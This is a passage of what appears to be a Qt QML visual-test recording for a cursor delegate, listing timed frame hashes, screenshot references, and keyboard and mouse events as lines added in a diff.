hash: "4e875ba8703b690a17e445f2b3810435" + } + Frame { + msec: 4624 + hash: "e4d7a59716cd704fe1cfa8ba91454e93" + } + Key { + type: 7 + key: 16777233 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 4640 + hash: "a2ea272b45d8de225826d9381015ff2e" + } + Frame { + msec: 4656 + hash: "5d112a3675ea4c010e7bc60e036d0262" + } + Frame { + msec: 4672 + hash: "788d8962f311adf57a3acc876b0e8804" + } + Frame { + msec: 4688 + hash: "827fdd6a3d1006f4a9dd2faf208ea436" + } + Frame { + msec: 4704 + hash: "48ec87bfc25471f6fa2d43f9db80b693" + } + Frame { + msec: 4720 + hash: "4a646d76b706698a02cead560b1f8d57" + } + Frame { + msec: 4736 + hash: "ea2d610e9b41e72b2984a51f0d3f7587" + } + Frame { + msec: 4752 + hash: "ee661e6cc1f86e755ff399adb6b11fd1" + } + Frame { + msec: 4768 + hash: "01e937e1fcc0331b2541fa32c3479a24" + } + Frame { + msec: 4784 + hash: "702864de569e6a5648ee174d5ef891f8" + } + Frame { + msec: 4800 + image: "cursorDelegate.4.png" + } + Frame { + msec: 4816 + hash: "76fb2e1ad33affe33c0887f04caa7396" + } + Frame { + msec: 4832 + hash: "9dc01a69f2a6892d3c4203674c8bef72" + } + Frame { + msec: 4848 + hash: "d94054222fd37a350bd8abd592a332e3" + } + Frame { + msec: 4864 + hash: "46fed264c233490b477e3a7c22183e18" + } + Frame { + msec: 4880 + hash: "34bc703c915b49b0450ece1d18306df8" + } + Frame { + msec: 4896 + hash: "e87f18da2fa5c91c9b2b5dea50f9c1e2" + } + Frame { + msec: 4912 + hash: "4f6dbc7b249c37390518cc263832b587" + } + Frame { + msec: 4928 + hash: "df09fa2fd138d1b480eec82db3872d6f" + } + Frame { + msec: 4944 + hash: "b74cb1bfbb979a5e91853d9145d277d8" + } + Frame { + msec: 4960 + hash: "35425ae3ccf3c8dcc1483479c57a3287" + } + Frame { + msec: 4976 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4992 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5008 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5024 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5040 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5056 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5072 + hash: "35425ae3ccf3c8dcc1483479c57a3287" + } + Frame { + msec: 5088 + hash: "b74cb1bfbb979a5e91853d9145d277d8" + } + Frame { + msec: 5104 + hash: "df09fa2fd138d1b480eec82db3872d6f" + } + Frame { + msec: 5120 + hash: "4f6dbc7b249c37390518cc263832b587" + } + Frame { + msec: 5136 + hash: "e87f18da2fa5c91c9b2b5dea50f9c1e2" + } + Frame { + msec: 5152 + hash: "34bc703c915b49b0450ece1d18306df8" + } + Frame { + msec: 5168 + hash: "46fed264c233490b477e3a7c22183e18" + } + Frame { + msec: 5184 + hash: "d94054222fd37a350bd8abd592a332e3" + } + Frame { + msec: 5200 + hash: "9dc01a69f2a6892d3c4203674c8bef72" + } + Frame { + msec: 5216 + hash: "76fb2e1ad33affe33c0887f04caa7396" + } + Frame { + msec: 5232 + hash: "0f500339c81ca3621d13910017b84b7b" + } + Frame { + msec: 5248 + hash: "702864de569e6a5648ee174d5ef891f8" + } + Frame { + msec: 5264 + hash: "01e937e1fcc0331b2541fa32c3479a24" + } + Frame { + msec: 5280 + hash: "ee661e6cc1f86e755ff399adb6b11fd1" + } + Frame { + msec: 5296 + hash: "ea2d610e9b41e72b2984a51f0d3f7587" + } + Frame { + msec: 5312 + hash: "4a646d76b706698a02cead560b1f8d57" + } + Frame { + msec: 5328 + hash: "48ec87bfc25471f6fa2d43f9db80b693" + } + Frame { + msec: 5344 + hash: "827fdd6a3d1006f4a9dd2faf208ea436" + } + Frame { + msec: 5360 + hash: "788d8962f311adf57a3acc876b0e8804" + } + Frame { + msec: 5376 + hash: "5d112a3675ea4c010e7bc60e036d0262" + } + Frame { + msec: 5392 + hash: "a2ea272b45d8de225826d9381015ff2e" + } + Frame { + msec: 5408 + hash: "e4d7a59716cd704fe1cfa8ba91454e93" + } + Frame { + msec: 5424 + hash: "4e875ba8703b690a17e445f2b3810435" + } + Frame { + msec: 5440 + hash: "4fbbb8447d80012bc6b5c24ddbfe498e" + } + Frame { + msec: 5456 + hash: "d74f8e44d47710714d4197809fffb622" + } + Frame { + msec: 5472 + hash: "d23bdd94019477d8378cde580d8765ad" + } + Frame { + msec: 5488 + hash: "6032aada2c48092000ecb93e52656414" + } + Frame { + msec: 5504 + hash: "438be260f19d04c9f98ed7dce1c7db40" + } + Frame { + msec: 5520 + hash: "3af60972e7d5d4320a549e5df52a1228" + } + Frame { + msec: 5536 + hash: "bf8459b99ca0bf568c58a3bb2a2fcc1f" + } + Frame { + msec: 5552 + hash: "c0dc1cf5ba7014e069c4d4bd7ac0f89d" + } + Frame { + msec: 5568 + hash: "f2ddf9d4fd3a2a2d354172714ce94d99" + } + Frame { + msec: 5584 + hash: "bdfb42dc3879099e402784238c2cdddb" + } + Frame { + msec: 5600 + hash: "5e483b0fd4808f2fb31aea90ccf86d3e" + } + Frame { + msec: 5616 + hash: "8159bda651d95a320ac09aa6feb377a1" + } + Frame { + msec: 5632 + hash: "ceda37af96bd02baae218d3bfaed93f7" + } + Frame { + msec: 5648 + hash: "4b81757a105aa7c5ac6148455eea66c3" + } + Frame { + msec: 5664 + hash: "ff7e2cdd006f9b76ab8c0416d81f0cb1" + } + Frame { + msec: 5680 + hash: "9b174cd9a87ff193ce646408946b310c" + } + Frame { + msec: 5696 + hash: "89fa590b47ee77021dedf7938439ce69" + } + Frame { + msec: 5712 + hash: "6e5680803184dfc76cbf1c2de804d6cc" + } + Frame { + msec: 5728 + hash: "c6de6b9203673c77427ab84ce86daaf5" + } + Frame { + msec: 5744 + hash: "198f8e912c19debd51f837627d1171e9" + } + Frame { + msec: 5760 + image: "cursorDelegate.5.png" + } + Frame { + msec: 5776 + hash: "254942e12b8a31420d2243b7e2529ae8" + } + Frame { + msec: 5792 + hash: "ebf121910a5318c284f8e964d63aed40" + } + Frame { + msec: 5808 + hash: "0fcf416a80d22f077fcf4d23bddeb6c6" + } + Frame { + msec: 5824 + hash: "4a6596da390380dbafc1cdaceca1101e" + } + Frame { + msec: 5840 + hash: "367391b2a124e2c818510567d0884d18" + } + Frame { + msec: 5856 + hash: "c2be53ae5e2d5d3081df9af31426ec84" + } + Frame { + msec: 5872 + hash: "52350ac5d10f8fe7571d12193b861d3f" + } + Frame { + msec: 5888 + hash: "f286a35d7f4a022315f69a5db72da388" + } + Frame { + msec: 5904 + hash: "aa329519eba4dad9589bff095528c535" + } + Frame { + msec: 5920 + hash: "0beae60853afaaa0e7f7540fb50bcddf" + } + Frame { + msec: 5936 + hash: "dc098a8b4d2f117a09cf1f2ced201a60" + } + Frame { + msec: 5952 + hash: "3655b992097b433071ec9dd69e086c70" + } + Frame { + msec: 5968 + hash: "82cb92d7940d13deee97e4ccda9210fb" + } + Frame { + msec: 5984 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6000 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6016 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6032 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6048 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6064 + hash: "82cb92d7940d13deee97e4ccda9210fb" + } + Frame { + msec: 6080 + hash: "3655b992097b433071ec9dd69e086c70" + } + Frame { + msec: 6096 + hash: "dc098a8b4d2f117a09cf1f2ced201a60" + } + Frame { + msec: 6112 + hash: "0beae60853afaaa0e7f7540fb50bcddf" + } + Frame { + msec: 6128 + hash: "aa329519eba4dad9589bff095528c535" + } + Frame { + msec: 6144 + hash: "f286a35d7f4a022315f69a5db72da388" + } + Frame { + msec: 6160 + hash: "52350ac5d10f8fe7571d12193b861d3f" + } + Frame { + msec: 6176 + hash: "c2be53ae5e2d5d3081df9af31426ec84" + } + Frame { + msec: 6192 + hash: "367391b2a124e2c818510567d0884d18" + } + Frame { + msec: 6208 + hash: "4a6596da390380dbafc1cdaceca1101e" + } + Frame { + msec: 6224 + hash: "0fcf416a80d22f077fcf4d23bddeb6c6" + } + Frame { + msec: 6240 + hash: "ebf121910a5318c284f8e964d63aed40" + } + Frame { + msec: 6256 + hash: "254942e12b8a31420d2243b7e2529ae8" + } + Frame { + msec: 6272 + hash: "3b380dcb6815698241f3dcccb52785c2" + } + Frame { + msec: 6288 + hash: "198f8e912c19debd51f837627d1171e9" + } + Frame { + msec: 6304 + hash: "c6de6b9203673c77427ab84ce86daaf5" + } + Frame { + msec: 6320 + hash: "6e5680803184dfc76cbf1c2de804d6cc" + } + Frame { + msec: 6336 + hash: "89fa590b47ee77021dedf7938439ce69" + } + Frame { + msec: 6352 + hash: "9b174cd9a87ff193ce646408946b310c" + } + Frame { + msec: 6368 + hash: "ff7e2cdd006f9b76ab8c0416d81f0cb1" + } + Frame { + msec: 6384 + hash: "4b81757a105aa7c5ac6148455eea66c3" + } + Frame { + msec: 6400 + hash: "ceda37af96bd02baae218d3bfaed93f7" + } + Frame { + msec: 6416 + hash: "8159bda651d95a320ac09aa6feb377a1" + } + Frame { + msec: 6432 + hash: "5e483b0fd4808f2fb31aea90ccf86d3e" + } + Frame { + msec: 6448 + hash: "bdfb42dc3879099e402784238c2cdddb" + } + Frame { + msec: 6464 + hash: "f2ddf9d4fd3a2a2d354172714ce94d99" + } + Frame { + msec: 6480 + hash: "c0dc1cf5ba7014e069c4d4bd7ac0f89d" + } + Frame { + msec: 6496 + hash: "bf8459b99ca0bf568c58a3bb2a2fcc1f" + } + Frame { + msec: 6512 + hash: "3af60972e7d5d4320a549e5df52a1228" + } + Frame { + msec: 6528 + hash: "438be260f19d04c9f98ed7dce1c7db40" + } + Frame { + msec: 6544 + hash: "6032aada2c48092000ecb93e52656414" + } + Frame { + msec: 6560 + hash: "d23bdd94019477d8378cde580d8765ad" + } + Frame { + msec: 6576 + hash: "d74f8e44d47710714d4197809fffb622" + } + Frame { + msec: 6592 + hash: "4fbbb8447d80012bc6b5c24ddbfe498e" + } + Frame { + msec: 6608 + hash: "4e875ba8703b690a17e445f2b3810435" + } + Frame { + msec: 6624 + hash: "e4d7a59716cd704fe1cfa8ba91454e93" + } + Frame { + msec: 6640 + hash: "a2ea272b45d8de225826d9381015ff2e" + } + Frame { + msec: 6656 + hash: "5d112a3675ea4c010e7bc60e036d0262" + } + Frame { + msec: 6672 + hash: "788d8962f311adf57a3acc876b0e8804" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 271; y: 89 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6688 + hash: "e2eb18af82c85ea78ba438163e922df3" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 271; y: 92 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6704 + hash: "91b2695e4915238ae8610a64e279b0f4" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 271; y: 95 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 270; y: 99 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6720 + image: "cursorDelegate.6.png" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 269; y: 103 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6736 + hash: "ea2d610e9b41e72b2984a51f0d3f7587" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 268; y: 107 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6752 + hash: "ee661e6cc1f86e755ff399adb6b11fd1" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 266; y: 114 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6768 + hash: "01e937e1fcc0331b2541fa32c3479a24" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 266; y: 117 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6784 + hash: "702864de569e6a5648ee174d5ef891f8" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 265; y: 117 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6800 + hash: "0f500339c81ca3621d13910017b84b7b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 263; y: 118 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 261; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6816 + hash: "76fb2e1ad33affe33c0887f04caa7396" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 259; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6832 + hash: "9dc01a69f2a6892d3c4203674c8bef72" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 256; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6848 + hash: "58693aa1a3616310b7ae1e529c4c461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 250; y: 118 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 243; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6864 + hash: "96afccd7ec697c9c10840f0effaa448d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 235; y: 119 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6880 + hash: "a00d49e2a9069b1be41f95f6ff4c0312" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 227; y: 121 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6896 + hash: "a0ff4b93291fc12054d3989a20335a87" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 218; y: 124 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 209; y: 126 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6912 + hash: "a86e1347bb25489547514955762d92d3" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 200; y: 126 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6928 + hash: "e5cba3c1e41e38117508c84e894beb11" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 190; y: 127 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6944 + hash: "2560f53b8ac0a84fef895dbb8f0e393e" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 181; y: 127 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 172; y: 127 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6960 + hash: "c1b8bfc008319b793b6bd9345d34ccf5" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 163; y: 127 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6976 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 154; y: 126 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6992 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 146; y: 124 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 138; y: 121 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7008 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 130; y: 119 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7024 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 123; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7040 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 118; y: 118 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 114; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7056 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 110; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7072 + hash: "a9f2804ac7918971f237c4cfa6339c24" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 108; y: 117 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7088 + hash: "bc9c96855f048cb6c86d480e501322ab" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 107; y: 117 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 106; y: 117 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7104 + hash: "706730602364bfb4d0193d1728a6d350" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 105; y: 117 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7120 + hash: "df80fe3e3ba35ab3fafca929b9101e13" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 104; y: 117 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7136 + hash: "aa8fa1baf61919004a4f14948826882e" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 103; y: 117 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 102; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7152 + hash: "1829dfa3615d6ae430ba81a2df9a9e15" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 101; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7168 + hash: "c4ea5c767192bbd3bfac58d07594016a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 100; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7184 + hash: "319aede65b3473f28a4ca62a524e4a76" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 100; y: 119 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 100; y: 119 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7200 + hash: "e1de653161e3348e083267c9082bc0f0" + } + Frame { + msec: 7216 + hash: "de5f2d5147c600d2cb44072801c2338e" + } + Frame { + msec: 7232 + hash: "6db41d704d2e28f36b206bdb317ee361" + } + Frame { + msec: 7248 + hash: "a500b87efea241cdf8adf97ae86e10c3" + } + Frame { + msec: 7264 + hash: "86c4eb0164a5b57eb22de4c9d58345f5" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 100; y: 119 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7280 + hash: "2dbb1e3a1374b7c4aecd5a891be4573d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 101; y: 119 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7296 + hash: "07bcafdf5ca28a1416a20ed375ec3ea6" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 101; y: 119 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7312 + hash: "e79def41bbf7e544d64cf19d74524d3a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 102; y: 119 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 102; y: 119 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7328 + hash: "20aff98618d16c00dc9b76035e9523f5" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 103; y: 119 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7344 + hash: "12b5e016bad990d1f2bf427ee8e3e6d9" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 104; y: 119 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 105; y: 119 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7360 + hash: "66a2ba3f9e005cd58aa50cfa0000cd15" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 107; y: 119 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7376 + hash: "a2e9e42e09dadbd0791f52bb96e0e0dc" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 110; y: 119 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7392 + hash: "ac68396566ea85a157e944e601dd8d18" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 113; y: 119 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 117; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7408 + hash: "b9bfdebec8dd1a93de7ef2768b2542ba" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 124; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7424 + hash: "2e0a4b960803770acb34ef56ccf2be35" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 131; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7440 + hash: "df1643f0f8b7aa2dc080958822aeb3d0" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 138; y: 118 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 144; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7456 + hash: "af8ce877d953727d37fd6f7e4962f45a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 148; y: 118 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 152; y: 117 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7472 + hash: "b9de04c0d7532d67404a5a773d9fab99" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 155; y: 117 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7488 + hash: "7904312a7efe0b545070c5a5615011df" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 157; y: 116 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7504 + hash: "0069a8f088c83c6716bac15567a5b38d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 159; y: 116 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 162; y: 116 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7520 + hash: "8c17c78d663097e275ed2f80d6479caf" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 163; y: 116 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7536 + hash: "9e8781569e07fca7def229b76189082d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 165; y: 116 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7552 + hash: "8dba2f259740d869bfa20205d2e14433" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 166; y: 116 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 168; y: 116 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7568 + hash: "4e7ad066aadbad3f71a08962ba1379c0" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 171; y: 116 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7584 + hash: "a5d1554a6fb311239acc077f01adc597" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 174; y: 116 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7600 + hash: "e91b45c430f7e10c2205af620350ddb6" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 177; y: 116 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 183; y: 117 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7616 + hash: "6c731f4dbdec441cd36b1e9727758d73" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 188; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7632 + hash: "31634e757bdec45feb1f021e35746d65" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 193; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7648 + hash: "846dcb42fa85719223eb19f7af3d0630" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 198; y: 119 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 206; y: 119 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7664 + hash: "a5826c5d7d1b9161cc7fb76f59021fdd" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 209; y: 119 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7680 + image: "cursorDelegate.7.png" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 211; y: 119 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7696 + hash: "bdfb9b949489744bc77905249eb647f9" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 212; y: 119 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 212; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7712 + hash: "307d4fb47604c00e213f8d9616e0da13" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 213; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7728 + hash: "74201a80a9032cb18b0c9e26bb67363f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 214; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7744 + hash: "38ca918199552a525fb7f3a3773761d9" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 215; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7760 + hash: "d64c06c25229b3b64b779ca1bef7d2cb" + } + Frame { + msec: 7776 + hash: "4ba0117db1ff431de20c06c79866d509" + } + Frame { + msec: 7792 + hash: "ca56899ded0e5ea361aac24493793f58" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 215; y: 118 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 215; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7808 + hash: "ebce1d3b4d088278b6f36dac444c7ca6" + } + Frame { + msec: 7824 + hash: "16c52065169bffc4648eda0226dba13a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 216; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7840 + hash: "7a5a6a02f57545d9f2336ff18dd118d6" + } + Frame { + msec: 7856 + hash: "328c8133c68fc2e86dc2193d1bee3259" + } + Frame { + msec: 7872 + hash: "fcad1d2819e3cede6081b4dfbb5a4a65" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 216; y: 117 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7888 + hash: "85ff2968ba06443f300c9c0ef36c7054" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 216; y: 116 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7904 + hash: "871025c33fa769a790fc460a95b183ec" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 216; y: 116 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7920 + hash: "5b96f2673e0ccd2b198b9f99c65b4b12" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 217; y: 116 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7936 + hash: "5fc6f30a2dd019c4f2af056b51cfaa27" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 218; y: 115 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 218; y: 115 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7952 + hash: "fc6bf3bcde1f89f0bff40e3e019aed33" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 219; y: 114 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7968 + hash: "703beec7b035080146131936da8c0fb3" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 220; y: 114 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7984 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 221; y: 114 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 222; y: 113 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8000 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 222; y: 113 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8016 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 8032 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 8048 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 222; y: 114 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8064 + hash: "703beec7b035080146131936da8c0fb3" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 222; y: 114 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8080 + hash: "fc6bf3bcde1f89f0bff40e3e019aed33" + } + Frame { + msec: 8096 + hash: "5fc6f30a2dd019c4f2af056b51cfaa27" + } + Frame { + msec: 8112 + hash: "5b96f2673e0ccd2b198b9f99c65b4b12" + } + Frame { + msec: 8128 + hash: 